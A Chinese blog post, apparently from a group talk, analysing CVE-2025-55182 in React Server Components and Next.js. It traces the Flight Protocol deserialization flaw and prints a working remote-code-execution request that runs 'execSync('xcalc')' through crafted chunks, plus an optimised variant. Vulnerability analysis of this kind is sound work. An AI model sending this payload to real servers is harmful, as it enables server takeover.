文章

CVE-2025-55182 是怎么让 Next.js 大爆的?

本文原为组内分享内容,搬运后有部分改动 :P

RSC / Server Functions

RSC,全称 React Server Component,看名字就知道是用来做 SSR 用的。在 RSC 中,有一个功能被称作 Server Functions,可以让客户端调用服务端的异步方法。

而为了让客户端与服务端进行交互,就需要设定一套协议来序列化数据,并通过网络传输。

而 React(还有 Next.js 等)使用的就是 React Flight Protocol。

React Flight Protocol

顾名思义,Flight 这个词语的意思是指 航班;飞行; 的意思。代表它承载了 React 客户端与服务端的通信。虽然如此重要,但它却是一个似乎没有什么文档的内部协议,至少我找了很久都没找到官方有什么文档。

它的功能十分强大,可以传输各种数据,而这也包括传输 Component。

在 React 进行 SSR 时,服务端不仅生成了 DOM,为了保证客户端 bundle 中的 React 框架正常工作,服务端也同时生成了虚拟 DOM。而这两份几乎相同的 DOM 被打包到 HTML 中,被一起发给了客户端。

拿冰岩小卖部举个例子:

<!DOCTYPE html>
<!--SpMRrB7sFBwZxOHRrcPJN-->
<html lang="zh">
    ...
    <body class="antialiased">
        <div hidden="">
        <!--$-->
        <!--/$-->
        </div>
        <div class="fixed inset-0 flex flex-col bg-white bg-[linear-gradient(180deg,#FFE0C0_0%,#fff2dd_50px,white_100%)] overflow-hidden items-center justify-center">
            <div class="h-full w-full flex flex-col items-center justify-center overflow-hidden relative">
                <img class="w-full absolute top-0" src="https://bymarket-cdn.hust.online/images/home/top.svg" alt="Top" draggable="false"/>
                <img class="scale-300 absolute bottom-0 " src="https://bymarket-cdn.hust.online/images/home/bkg.png" alt="bkg" draggable="false"/>
                <img class="absolute bottom-0 right-0 max-h-[120%]" src="https://bymarket-cdn.hust.online/images/home/market.png" alt="market" draggable="false"/>
                <img class="w-full absolute bottom-0" src="https://bymarket-cdn.hust.online/images/home/bottom.svg" alt="bkg" draggable="false"/>
                <img class="absolute top-0 w-full max-h-[40%]" src="https://bymarket-cdn.hust.online/images/home/title.svg" alt="Title" draggable="false"/>
                <img class="absolute bottom-0 left-[-50px] max-h-[120%]" src="https://bymarket-cdn.hust.online/images/home/person.png" alt="Person" draggable="false"/>
                <div class="absolute bottom-[125px] w-[85%] max-h-[20%] flex items-center justify-center">
                    <img class="cursor-pointer w-full h-full max-w-[min(100%,100vh)] max-h-[min(100%,100vw)]" src="https://bymarket-cdn.hust.online/images/home/bargain.svg" alt="Bargain" draggable="false"/>
                </div>
                <div class="absolute bottom-[58px] w-[75%] space-y-2 flex flex-col justify-end items-end">
                    <a class="cursor-pointer bg-[#FFF7E9] shadow-[inset_0px_-2px_0px_#FF7B17] rounded-[14px] font-bold text-[#AB5331] w-[75px] h-[25px] flex justify-center items-center text-sm" href="/inventory">货存情况</a>
                    <a class="cursor-pointer bg-[#FFF7E9] shadow-[inset_0px_-2px_0px_#FF7B17] rounded-[14px] font-bold text-[#AB5331] w-[75px] h-[25px] flex justify-center items-center text-sm" href="/story">故事</a>
                </div>
                <div class="absolute bottom-[25px] w-[75%] space-y-2 flex flex-col justify-end items-end">
                    <button class="cursor-pointer bg-[#FFF7E9] shadow-[inset_0px_-2px_0px_#FF7B17] rounded-[14px] font-bold text-[#AB5331] w-[75px] h-[25px] flex justify-center items-center text-sm">登录</button>
                </div>
            </div>
        </div>
        <!--$-->
        <!--/$-->
        <script src="/_next/static/chunks/webpack-5694af5a2b225c90.js" id="_R_" async=""></script>
        <script>
            (self.__next_f = self.__next_f || []).push([0])
        </script>
        <script>
            self.__next_f.push([1, "1:\"$Sreact.fragment\"\n2:I[7555,[],\"\"]\n3:I[6678,[\"244\",\"static/chunks/244-f2622be7c7b5b3f2.js\",\"39\",\"static/chunks/app/error-6f26f00b1cdef461.js\"],\"default\"]\n4:I[1295,[],\"\"]\n5:I[894,[],\"ClientPageRoot\"]\n6:I[1022,[\"268\",\"static/chunks/aaea2bcf-d7af0745e1805a74.js\",\"244\",\"static/chunks/244-f2622be7c7b5b3f2.js\",\"951\",\"static/chunks/951-d015862af0249b0a.js\",\"974\",\"static/chunks/app/page-89b1958a0ee4331f.js\"],\"default\"]\n9:I[9665,[],\"OutletBoundary\"]\nb:I[4911,[],\"AsyncMetadataOutlet\"]\nd:I[9665,[],\"ViewportBoundary\"]\nf:I[9665,[],\"MetadataBoundary\"]\n10:\"$Sreact.suspense\"\n12:I[8393,[],\"\"]\n:HL[\"/_next/static/css/68dc2ca4eb601331.css\",\"style\"]\n"])
        </script>
        <script>
            self.__next_f.push([1, "0:{\"P\":null,\"b\":\"SpMRrB7sFBwZxOHRrcPJN\",\"p\":\"\",\"c\":[\"\",\"\"],\"i\":false,\"f\":[[[\"\",{\"children\":[\"__PAGE__\",{}]},\"$undefined\",\"$undefined\",true],[\"\",[\"$\",\"$1\",\"c\",{\"children\":[[[\"$\",\"link\",\"0\",{\"rel\":\"stylesheet\",\"href\":\"/_next/static/css/68dc2ca4eb601331.css\",\"precedence\":\"next\",\"crossOrigin\":\"$undefined\",\"nonce\":\"$undefined\"}]],[\"$\",\"html\",null,{\"lang\":\"zh\",\"children\":[\"$\",\"body\",null,{\"className\":\"antialiased\",\"children\":[\"$\",\"$L2\",null,{\"parallelRouterKey\":\"children\",\"error\":\"$3\",\"errorStyles\":[],\"errorScripts\":[],\"template\":[\"$\",\"$L4\",null,{}],\"templateStyles\":\"$undefined\",\"templateScripts\":\"$undefined\",\"notFound\":[[[\"$\",\"title\",null,{\"children\":\"404: This page could not be found.\"}],[\"$\",\"div\",null,{\"style\":{\"fontFamily\":\"system-ui,\\\"Segoe UI\\\",Roboto,Helvetica,Arial,sans-serif,\\\"Apple Color Emoji\\\",\\\"Segoe UI Emoji\\\"\",\"height\":\"100vh\",\"textAlign\":\"center\",\"display\":\"flex\",\"flexDirection\":\"column\",\"alignItems\":\"center\",\"justifyContent\":\"center\"},\"children\":[\"$\",\"div\",null,{\"children\":[[\"$\",\"style\",null,{\"dangerouslySetInnerHTML\":{\"__html\":\"body{color:#000;background:#fff;margin:0}.next-error-h1{border-right:1px solid rgba(0,0,0,.3)}@media (prefers-color-scheme:dark){body{color:#fff;background:#000}.next-error-h1{border-right:1px solid rgba(255,255,255,.3)}}\"}}],[\"$\",\"h1\",null,{\"className\":\"next-error-h1\",\"style\":{\"display\":\"inline-block\",\"margin\":\"0 20px 0 0\",\"padding\":\"0 23px 0 0\",\"fontSize\":24,\"fontWeight\":500,\"verticalAlign\":\"top\",\"lineHeight\":\"49px\"},\"children\":404}],[\"$\",\"div\",null,{\"style\":{\"display\":\"inline-block\"},\"children\":[\"$\",\"h2\",null,{\"style\":{\"fontSize\":14,\"fontWeight\":400,\"lineHeight\":\"49px\",\"margin\":0},\"children\":\"This page could not be found.\"}]}]]}]}]],[]],\"forbidden\":\"$undefined\",\"unauthorized\":\"$undefined\"}]}]}]]}],{\"children\":[\"__PAGE__\",[\"$\",\"$1\",\"c\",{\"children\":[[\"$\",\"$L5\",null,{\"Component\":\"$6\",\"searchParams\":{},\"params\":{},\"promises\":[\"$@7\",\"$@8\"]}],null,[\"$\",\"$L9\",null,{\"children\":[\"$La\",[\"$\",\"$Lb\",null,{\"promise\":\"$@c\"}]]}]]}],{},null,false]},null,false],[\"$\",\"$1\",\"h\",{\"children\":[null,[[\"$\",\"$Ld\",null,{\"children\":\"$Le\"}],null],[\"$\",\"$Lf\",null,{\"children\":[\"$\",\"div\",null,{\"hidden\":true,\"children\":[\"$\",\"$10\",null,{\"fallback\":null,\"children\":\"$L11\"}]}]}]]}],false]],\"m\":\"$undefined\",\"G\":[\"$12\",[]],\"s\":false,\"S\":true}\n"])
        </script>
        <script>
            self.__next_f.push([1, "7:{}\n8:\"$0:f:0:1:2:children:1:props:children:0:props:params\"\n"])
        </script>
        <script>
            self.__next_f.push([1, "e:[[\"$\",\"meta\",\"0\",{\"charSet\":\"utf-8\"}],[\"$\",\"meta\",\"1\",{\"name\":\"viewport\",\"content\":\"width=device-width, initial-scale=1\"}],[\"$\",\"meta\",\"2\",{\"name\":\"theme-color\",\"media\":\"(prefers-color-scheme: dark)\",\"content\":\"#FFE0C0\"}],[\"$\",\"meta\",\"3\",{\"name\":\"theme-color\",\"media\":\"(prefers-color-scheme: light)\",\"content\":\"#FFE0C0\"}]]\na:null\n"])
        </script>
        <script>
            self.__next_f.push([1, "13:I[8175,[],\"IconMark\"]\nc:{\"metadata\":[[\"$\",\"title\",\"0\",{\"children\":\"冰岩小卖部\"}],[\"$\",\"meta\",\"1\",{\"name\":\"description\",\"content\":\"免费领取精美社团周边\"}],[\"$\",\"link\",\"2\",{\"rel\":\"icon\",\"href\":\"/favicon.ico\",\"type\":\"image/x-icon\",\"sizes\":\"64x64\"}],[\"$\",\"$L13\",\"3\",{}]],\"error\":null,\"digest\":\"$undefined\"}\n"])
        </script>
        <script>
            self.__next_f.push([1, "11:\"$c:metadata\"\n"])
        </script>
    </body>
</html>

可以看到,上面有看起来很正常的 DOM,而下面不知道为什么有一堆 self.__next_f.push([1, "xxx"]),这些就是经过 Flight Protocol 序列化后的虚拟 DOM 树,以及一些必要的数据。

如果把里面的这些“乱码”提取出来,可以看到它们分为很多行(每一行称为一个 Chunk),而每行大概都是长这个样子的:

[chunk id]:[Flag][object]

在冒号之前,是一个用来标注 Chunk 编号的 16 进制数字,而后面则有可选的 Flag 和实际传输的数据(可以是 string, object 等)。

我们可以使用一些第三方工具来反序列化这些数据,从而对其进行解析,比如用 https://rsc-parser.vercel.app/。

比如说,这一串:

0:["$","div",null,{"children":["$","p",null,{"children":"Bingyan","id":"wtf"}]}]

会先被解析成如下的 JSON Object,

{
 "type": "model",
 "id": "0",
 "value": {
  "type": "div",
  "key": null,
  "props": {
   "children": {
    "type": "p",
    "key": null,
    "props": {
     "children": "Bingyan",
     "id": "wtf"
    }
   }
  }
 },
 "originalValue": "[\"$\",\"div\",null,{\"children\":[\"$\",\"p\",null,{\"children\":\"Bingyan\",\"id\":\"wtf\"}]}]",
 "timestamp": 0
}

而这就代表了如下的 DOM:

<div>
  <p id="wtf">Bingyan</p>
</div>

同时,Flight Protocol 也支持在 Chunk 间互相引用。在解析时会从第 0 个 Chunk 开始逐步解引用。

例如,我们现在有三个 Chunk

0:"$1"
1:{"group":"frontend","availability":"$2:stacks:react"}
2:{"active":"true","stacks":{"react":"true","angular":"false"}}

在经过一段 parse 之后,这三个 Chunk 分别被解析为

{
 "type": "model",
 "id": "0",
 "value": {
  "$$type": "reference",
  "id": "1",
  "identifier": "",
  "type": "Reference"
 },
 "originalValue": "\"$1\"",
 "timestamp": 0
}
{
 "type": "model",
 "id": "1",
 "value": {
  "group": "frontend",
  "availability": {
   "$$type": "reference",
   "id": "2",
   "identifier": "",
   "type": "Reference"
  }
 },
 "originalValue": "{\"group\":\"frontend\",\"availability\":\"$2:stacks:react\"}",
 "timestamp": 0
}
{
 "type": "model",
 "id": "2",
 "value": {
  "active": "true",
  "stacks": {
   "react": "true",
   "angular": "false"
  }
 },
 "originalValue": "{\"active\":\"true\",\"stacks\":{\"react\":\"true\",\"angular\":\"false\"}}",
 "timestamp": 0
}

随后再经过解引用,变成了如下的 Object

{ "group": "frontend", "availability": "true" }

React Flight Protocol 的引用功能十分强大,它不仅支持直接引用 object,也可以通过 flag 标记来改变引用的方式。例如 $1 是默认的引用方式,$L1 用于 lazy load 引用 Server Component……

对于默认的 $1 引用方式,React 会在内部先对目标 Chunk 进行反序列化,再进行解析。如果对应的 Chunk 是一个 Promise/Thenable,React 会在其 resolve 后返回 resolve 后的得到的结果。

而与本次 CVE 相关的则是形如 $@1 这样的引用方式。这种引用方式在 React 中一般被用来传递 Promise,也就是说,此时我们不希望其已经是 resolve 后的真实值,而是希望得到这个 Promise object。而在代码实现中则是这样的。

const id = parseInt(value.slice(2), 16);
const chunk = getChunk(response, id);
return chunk;

可见,我们在获取到这个 Chunk 后没有对其进行 await,而是直接返回了其原本的值,也就是说这个实现只是返回了一个 raw Chunk

Flight Protocol 还支持 Blob Map Set 等的传输和引用。画个重点在这里,这个会很有用。

我们来看看 PoC 吧!

POST / HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36
Next-Action: x
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Length: 459

------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="0"

{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,"value":"{\"then\":\"$B1337\"}","_response":{"_prefix":"process.mainModule.require('child_process').execSync('xcalc');","_formData":{"get":"$1:constructor:constructor"}}}
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="1"

"$@0"
------WebKitFormBoundaryx8jO2oVc6SWP3Sad--

这是我从 ↓ 抄来的。如果你水群了的话应该已经看过这个了。

https://gist.github.com/maple3142/48bc9393f45e068cf8c90ab865c0f5f3

我们忽略不重要的那些信息,而是提取出下面传输的 Chunks 来分析一下:

0:{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,"value":"{\"then\":\"$B1337\"}","_response":{"_prefix":"process.mainModule.require('child_process').execSync('xcalc');","_formData":{"get":"$1:constructor:constructor"}}}
1:"$@0"

如上,一共两行。我们重点来看一下第 0 个 Chunk

{
    "then": "$1:__proto__:then",
    "status": "resolved_model",
    "reason": -1,
    "value": "{\"then\":\"$B1337\"}",
    "_response": {
        "_prefix": "process.mainModule.require('child_process').execSync('xcalc');",
        "_formData": {
            "get": "$1:constructor:constructor"
        }
    }
}

是不是感觉一头雾水呢?那我们就从头开始,试着一步一步构建出这个 Chunk 吧。

Let's think step by step.

引用到底有多厉害?

还记得前面写的那个示例 Chunk 吗?为了访问其他 Chunk 的 property,我们使用了类似这样的方式:$1:prop。而 React 在代码中,对于访问一个 Chunk 内的 property,代码大概是这样的:

export function requireModule<T>(metadata: ClientReference<T>): T {
  const moduleExports = parcelRequire(metadata[ID]);
  return moduleExports[metadata[NAME]];
  ...
}

也就是说,我们对 Chunk 做了一个 chunk['prop'] 的操作。而对传入的 property 名称没有做任何检查。这样,我们就可以通过这种访问拿到程序不想让我们拿到的值,比如 __proto__constructor 等。

而更进一步,我们还可以通过循环引用,在 Chunk 内部拿到自身的 property。

0:["$1:__proto__"]
1:"$@0"

我们在 Chunk 0 中引用 Chunk 1,而我们又通过 $@0 的引用使 $1 指向 Chunk 0 本身,从而拿到自身的 property。

如何运行我们传入的代码?

我们传入的代码是 string,怎么让它能在服务端运行呢?

常见的方式有两种。

  1. eval('console.log(1)')

  2. Function('console.log(1)')()

遗憾的,我们很难拿到 eval。幸运的,我们很容易就能拿到 Function constructor。

还记得上面讲引用的时候提到可以拿到某个值的 constructor 吗?我们只需要更进一步就可以了。如果我们可以通过引用拿到一个 Object,就可以通过 $:constructor:constructor 拿到 Function constructor。毕竟 constructor 本身也是一个 Function

喜欢异步的孩子们有福了!

在 React 的实现中,decode Chunk 的其中一步是一个异步操作。

它大概长这个样子:

boundActionArguments = await decodeReplyFromBusboy(
    busboy,
    serverModuleMap,
    { temporaryReferences }
)

而其中,decodeReplyFromBusboy 的返回值是完成解引用的 Chunk object。

于是我们想到,能不能利用一下 JS 的特性呢?

顺带一提,因为很多历史遗留问题,可以进行异步操作的不仅只有 Promise。只要一个 Object 实现了 then() 方法,都可以被 await,且这一操作就相当于 new Promise(obj.then)

打个比方,如果这样:

obj = {then: function (resolve, reject) {resolve(1)}}

那么 await obj 的效果就和 new Promise(obj.then) 一样。

又众所周知,JS 的 Promise,或者说 Thenable,是可以嵌套的。

假如我们写了一个看似人畜无害的方法 test……

async function test(data) {
    return data
}

这时我们执行 await test(1),就会返回 1。看起来没什么问题对吧。

那如果我传的 data 是 new Promise((resolve) => {console.log("wow"); resolve(1)}) 呢?

这时 test 方法不仅返回了 1,并且还执行了 console.log("wow")

我觉得这样很反直觉,而且用户如果故意搞你的话,还不太容易被发现。

所以我们这次也会用到这个。

重新看一下 React 的代码吧,它是长这个样子的。而且decodeReplyFromBusboy 的返回值是完成解引用的 Chunk object。

boundActionArguments = await decodeReplyFromBusboy(
    busboy,
    serverModuleMap,
    { temporaryReferences }
)

那么,我们就可以构造一个实现了 then 方法的 Chunk,从而执行我们想要的代码。

Let's start from here!

嘻嘻,事已至此,我们直接把 Function constructor 塞到 then 里,是不是就可以了?

遗憾的,不行。

如果我们试图 await {"then": Function} 或者 new Promise(Function),就会产生一个 SyntaxError,这是 V8 引擎内部实现导致的,我们无法绕过。

0:{"then": "$1:__proto__:then"}
1:"$@0"

既然如此,我们就需要想想怎么才能借助这些疏漏,找到一个方法让我们利用,而且这个方法还需要和 Chunk 的实现有关。最终,研究者找到的方法是 Chunk.prototype.then

0:{"then": "$1:__proto__:then", "status": "resolved_model"}
1:"$@0"

我们来看看 Chunk.prototype.then 的实现吧。

https://github.com/facebook/react/blob/ae74234eae6ebd62f19190731278e20bc1c37d51/packages/react-server/src/ReactFlightReplyServer.js#L127

Chunk.prototype.then = function <T>(
  this: SomeChunk<T>,
  resolve: (value: T) => mixed,
  reject: (reason: mixed) => mixed,
) {
  const chunk: SomeChunk<T> = this;
  // If we have resolved content, we try to initialize it first which
  // might put us back into one of the other states.
  switch (chunk.status) {
    case RESOLVED_MODEL:
      initializeModelChunk(chunk);
      break;
  }
  ...
 }

如果 statusresolved_model,我们就会进入 initializeModelChunk 方法,继续向下。

https://github.com/facebook/react/blob/ae74234eae6ebd62f19190731278e20bc1c37d51/packages/react-server/src/ReactFlightReplyServer.js#L446

function initializeModelChunk<T>(chunk: ResolvedModelChunk<T>): void {
  ...
  const rootReference =
    chunk.reason === -1 ? undefined : chunk.reason.toString(16);

  const resolvedModel = chunk.value;
  
  try {
    const rawModel = JSON.parse(resolvedModel);

    const value: T = reviveModel(
      chunk._response,
      {'': rawModel},
      '',
      rawModel,
      rootReference,
    );
    ...
  } catch {
    ...
  }
  ...
}

观察代码,我们首先会发现的是,我们需要设置 chunk.reason-1,不然代码在

const rootReference =
    chunk.reason === -1 ? undefined : chunk.reason.toString(16);

这里就已经爆掉了。

然后,我们还需要设置 chunk.value 为一个 JSON,chunk._response 为某些值,现在我们还没有什么头绪。

于是现在我们的 Chunk 0 大概长这个样子:

{
  "then": "$1:__proto__:then",
  "status": "resolved_model",
  "reason": -1,
  "value": "",
  "_response": {}
}

而在 initializeModelChunk 中,

const rawModel = JSON.parse(resolvedModel);

const value: T = reviveModel(
  chunk._response,
  {'': rawModel},
  '',
  rawModel,
  rootReference,
);

我们调用了 reviveModel 方法,我们来看看这个方法都干了什么。

https://github.com/facebook/react/blob/ae74234eae6ebd62f19190731278e20bc1c37d51/packages/react-server/src/ReactFlightReplyServer.js#L386

function reviveModel(
  response: Response,
  parentObj: any,
  parentKey: string,
  value: JSONValue,
  reference: void | string,
): any {
  if (typeof value === 'string') {
    // We can't use .bind here because we need the "this" value.
    return parseModelString(response, parentObj, parentKey, value, reference);
  }
  ...
  if (typeof value === 'object' && value !== null) {
    ...
    if (Array.isArray(value)) {
      ...
    } else {
      for (const key in value) {
        if (hasOwnProperty.call(value, key)) {
          const childRef =
            reference !== undefined && key.indexOf(':') === -1
              ? reference + ':' + key
              : undefined;
          const newValue = reviveModel(
            response,
            value,
            key,
            value[key],
            childRef,
          );
          if (newValue !== undefined) {
            // $FlowFixMe[cannot-write]
            value[key] = newValue;
          } else {
            // $FlowFixMe[cannot-write]
            delete value[key];
          }
        }
      }
    }
  }
  ...
}

在这里我们的 value 是 object 类型,React 会拆出 object 内的所有 key-value 对,并分别执行 reviveModel,而在第二次执行的时候,这里的 value 就不一定是 object,而可能是其他类型了。

如果是 string,我们继续看 parseModelString 的实现。

https://github.com/facebook/react/blob/ae74234eae6ebd62f19190731278e20bc1c37d51/packages/react-server/src/ReactFlightReplyServer.js#L916

这个方法代码太长,这里就不放全部了。这个方法大概的用处是对引用进行解析。

进行了一番搜索之后,就会发现这里对 Blob 类型的处理有一些可乘之机,实现是这样的。

case 'B': {
  // Blob
  const id = parseInt(value.slice(2), 16);
  const prefix = response._prefix;
  const blobKey = prefix + id;
  // We should have this backingEntry in the store already because we emitted
  // it before referencing it. It should be a Blob.
  const backingEntry: Blob = (response._formData.get(blobKey): any);
  return backingEntry;
}

那么,如果我们把 chunk._response._formData.get 重载为 Function constructor,而 chunk._response._prefix 重载为我们需要执行的代码,并且对其进行构造使在后面加上 id 后仍可以执行,我们就能让 parseModelString 返回一个 Function 对象。

{
    "then": "$1:__proto__:then",
    "status": "resolved_model",
    "reason": -1,
    "value": "{\"then\":\"$B1337\"}",
    "_response": {
        "_prefix": "process.mainModule.require('child_process').execSync('xcalc');",
        "_formData": {
            "get": "$1:constructor:constructor"
        }
    }
}

于是我们便得到了这个 PoC。

这里我们构造的 value 值是 {"then": "$B1337"}。后面的数字不重要。这个 value,在 parse 之后,它的值就会变成 {"then": Function"},同样也是一个 Thenable。这里的 Function 就是我们构造的,包含任意代码的 Function 实例。

value 被一路回传的同时,这时 chunk.status 也因 parse 结束而变为 INITIALIZED

Chunk.prototype.then = function <T>(
  this: SomeChunk<T>,
  resolve: (value: T) => mixed,
  reject: (reason: mixed) => mixed,
) {
  // The status might have changed after initialization.
  switch (chunk.status) {
    case INITIALIZED:
      resolve(chunk.value);
      break;
    ...
  }
  ...
}

最终,这个 Thenableresolve 回传,并因为 JS 的特性而被执行。

Game over.

还能优化一下吗?

{
    "then": "$1:then",
    "status": "resolved_model",
    "reason": 0,
    "value": "{\"then\":\"$B\"}",
    "_response": {
        "_prefix": "process.mainModule.require('child_process').execSync('xcalc');",
        "_formData": {
            "get": "$1:then:constructor"
        }
    }
}

References

https://github.com/msanft/CVE-2025-55182

https://gist.github.com/maple3142/48bc9393f45e068cf8c90ab865c0f5f3

https://tonyalicea.dev/blog/understanding-react-server-components/

https://gist.github.com/12joan/eb606fb5e5e1c44b0d9d2aacb04112f7

https://x.com/rauchg/status/1997362942929440937